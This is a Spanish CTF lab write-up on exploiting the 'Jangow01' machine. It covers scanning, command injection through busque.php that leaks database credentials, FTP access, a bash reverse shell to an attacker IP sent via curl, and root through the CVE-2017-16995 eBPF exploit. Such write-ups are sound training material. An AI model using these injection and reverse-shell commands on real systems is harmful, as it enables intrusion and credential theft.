**Informe Profesional sobre la Máquina CTF "Jangow01"**

**Introducción**

El presente informe tiene como objetivo detallar los resultados y pasos realizados durante el análisis y explotación de la máquina CTF "Jangow01". Esta actividad se llevó a cabo con el fin de evaluar la seguridad de la máquina y poner a prueba nuestras habilidades en el ámbito de la seguridad informática.

**Resumen de Actividades**

A continuación, se presenta un resumen de las actividades realizadas durante el análisis de la máquina CTF "Jangow01":

1. **Escaneo de Puertos:**

Se utilizó la herramienta Nmap para identificar los puertos abiertos y los servicios en ejecución en la máquina objetivo.

* 21/tcp open ftp vsftpd 3.0.3
* 80/tcp open http Apache httpd 2.4.18

***Comandos:***

* ***nmap -sS -sV <IP>***
* ***nmap -sC -p22,80,443 <IP>***

1. **Análisis de Directorios:**

Con Gobuster: Se utilizó la herramienta Gobuster para buscar directorios y archivos ocultos en el sitio web.

* /server-status (Status: 403) [Size: 278]
* /site (Status: 301) [Size: 313] [--> http://192.168.20.54/site/]
* /assets (Status: 301) [Size: 320] [--> http://192.168.20.54/site/assets/]
* /css (Status: 301) [Size: 317] [--> http://192.168.20.54/site/css/]
* /index.html (Status: 200) [Size: 10190]
* /js (Status: 301) [Size: 316] [--> http://192.168.20.54/site/js/]
* /wordpress (Status: 301) [Size: 323] [--> http://192.168.20.54/site/wordpress/]Con

***Comandos:***

* ***gobuster dir -u http://192.168.20.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***
* ***gobuster dir -u http://192.168.20.31/cms -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

1. **Análisis del Directorio /site**

Se navego en la pagina web que se encontró en el directorio /site el cual al revisar detalladamente los enlaces nos encontramos que al dar clic en buscar nos salia un tipo de error en la pagina pero en la url vemos algo extraño 192.168.20.54/site/busque.php?buscar= en el cual si colocamos un comando de kali linux como ls nos muestra los directorios donde se encuentra la pagina y si usamos cd para cambiar directorios al final nos encontramos con un archivo interesante, comando utilizado: cd ..; ls -all; cat .backup

view-source:http://192.168.20.54/site/busque.php?buscar=cd%20..;%20ls%20-all;%20cat%20.backup resultado:

*$servername = "localhost";*

*$database = "jangow01";*

*$username = "jangow01";*

*$password = "abygurl69";*

*// Create connection*

*$conn = mysqli\_connect($servername, $username, $password, $database);*

*// Check connection*

*if (!$conn) {*

*die("Connection failed: " . mysqli\_connect\_error());*

*}*

*echo "Connected successfully";*

*mysqli\_close($conn);*

Obtuvimos credenciales, por lo cual ya que no contamos con servicios ssh probaremos con el servicio ftp

1. **Análisis FTP:**

Al ingresar con las credenciales del paso anterior nos conectamos con ftp pero podemos ver que hay una carpeta html y notamos que es la estructura de los archivo web, ademas vemos que podemos movernos a carpetas mas del sistemas ejemplo nos podemos ir al directorio raíz seleccionar el directorio /home/jangow01 y encontramos un archivo user.txt el cual es la bandera a conseguir.

***Comandos:***

* ***ftp <IP>***

1. **Acceso a la Maquina Jangow:**

Usamos codigo para generar una revershell y usamos el siguiente comando:

*/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.28/443 0>&1'*

y lo pegamos en la url busque.php?buscar=

o si no usamos el comando curl

*curl "http://192.168.20.54/site/busque.php?buscar=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.28%2F443%200%3E%261%27"*

Cabe mencionar que para pegar y usar la revershell tenemos que realizar un encoded a la url el cual utilizamos la pagina <https://www.urlencoder.org/>

Y asi obtenemos acceso a la maquina Jangow01

***Comandos:***

* ***/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.28/443 0>&1'***
* ***curl "http://192.168.20.54/site/busque.php?buscar=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.28%2F443%200%3E%261%27"***

**Tratamiento a la Shell**

***python3 -c 'import pty; pty.spawn("/bin/bash")'***

***control z***

***stty raw -echo; fg***

***reset xterm***

***control z***

***export TERM=xterm***

***export SHELL=bash***

***stty rows 28 columns 148***

Cambio de usuario con su jangow01 y el password abygurl69

1. **Privilegios de Root:**

Descargamos el linpeas.sh en jangow01 y lo pasamos a la maquina jangow mediante el servicio ftp y al ejecutar linpeas.sh el programa nos enumero varias formas de como explotar y elegimos el [CVE-2017-16995] eBPF\_verifier.

Descargamos el archivo.c y lo pasamos a la maquina jangow01 y lo compilamos con gcc archivo.c archivo y lo ejecutamos con ./archivo

y obtuvimos privilegios root

***Comandos:***

* ***./linpeas.sh***
* ***chmod +x linpeas.sh***
* ***gcc archive.c -o archivo***
* ***./archivo***

**Conclusiones**

Durante el análisis de la máquina CTF "Jangow", se lograron obtener resultados significativos. A través de una combinación de escaneo de puertos, análisis de directorios, acceso mediante FTP, utilización de revershell y uso de Linpeas para enumerar las posibles formas o métodos para lograr realizar una escalada de privilegios y al final se logró acceder a la máquina con privilegios de administrador.

Estos resultados resaltan la importancia de mantener sistemas actualizados, aplicar medidas de seguridad adecuadas y realizar pruebas de penetración de manera regular para identificar posibles brechas en la seguridad. Además, se destaca la necesidad de implementar contraseñas seguras y evitar el uso de algoritmos de cifrado débiles para proteger la información sensible.

**Recomendaciones**

Con base en los hallazgos realizados durante el análisis de la máquina CTF “Jangow", se presentan las siguientes recomendaciones:

* Actualizar y parchear regularmente el sistema operativo y los servicios utilizados para evitar la explotación de vulnerabilidades conocidas.
* Implementar políticas de contraseñas seguras y fomentar su uso entre los usuarios.
* Realizar pruebas periódicas de penetración y análisis de vulnerabilidades para identificar y corregir posibles debilidades en el sistema.
* Utilizar algoritmos de cifrado fuertes y actualizados para proteger la información confidencial.
* Capacitar y concientizar a los usuarios sobre las mejores prácticas de seguridad, como la detección de correos electrónicos de phishing y la identificación de enlaces maliciosos.
* Realizar análisis regulares de seguridad para evaluar y fortalecer las medidas de protección existentes.

Estas recomendaciones ayudarán a fortalecer la seguridad del sistema y reducir la exposición a posibles amenazas y ataques cibernéticos.